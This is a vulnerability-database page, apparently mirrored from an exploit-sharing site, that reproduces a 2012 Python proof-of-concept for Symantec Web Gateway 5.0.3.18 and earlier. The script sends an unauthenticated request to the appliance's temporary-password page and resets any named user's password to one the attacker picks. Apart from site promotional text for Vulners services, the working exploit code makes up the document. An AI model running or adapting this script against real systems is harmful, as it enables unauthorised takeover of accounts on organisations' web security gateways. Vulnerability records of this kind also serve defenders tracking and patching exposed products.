Lucene search
K

Symantec Web Gateway <= 5.0.3.18 Arbitrary Password Change

🗓️ 21 Aug 2012 00:00:00Reported by @_Kc57Type 
zdt
 zdt
🔗 0day.today👁 20 Views

Symantec Web Gateway <= 5.0.3.18 Arbitrary Password Change vulnerability python scrip

Code
#!/usr/bin/python
 
import urllib
import urllib2
import re
import sys
 
print "[*] ###########################################################"
print "[*] Symantec Web Gateway <= 5.0.3.18 Arbitrary Password Change"
print "[*] @_Kc57"
print "[*] ###########################################################\n"
 
 
if (len(sys.argv) != 4):
    print "Usage: poc.py <RHOST> <username> <newpassword>"
    exit(0)
 
ip = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
 
url = "https://%s/spywall/temppassword.php" % (ip)
 
opts = {
    'target':'executive_summary.php',
    'USERNAME':username,
    'password':password,
    'password2':password,
    'Save':'Save'
}
 
print "[*] Sending request to server..."
 
data = urllib.urlencode(opts)
request = urllib2.Request(url, data)
response = urllib2.urlopen(request)
 
match = re.search('Your new password has been saved', response.read())
 
if(match):
    print "[*] Password for %s changed to %s" %(username,password)
else:
    print "[*] Password change failed!"



#  0day.today [2018-01-04]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Aug 2012 00:00Current
7.1High risk
Vulners AI Score7.1
20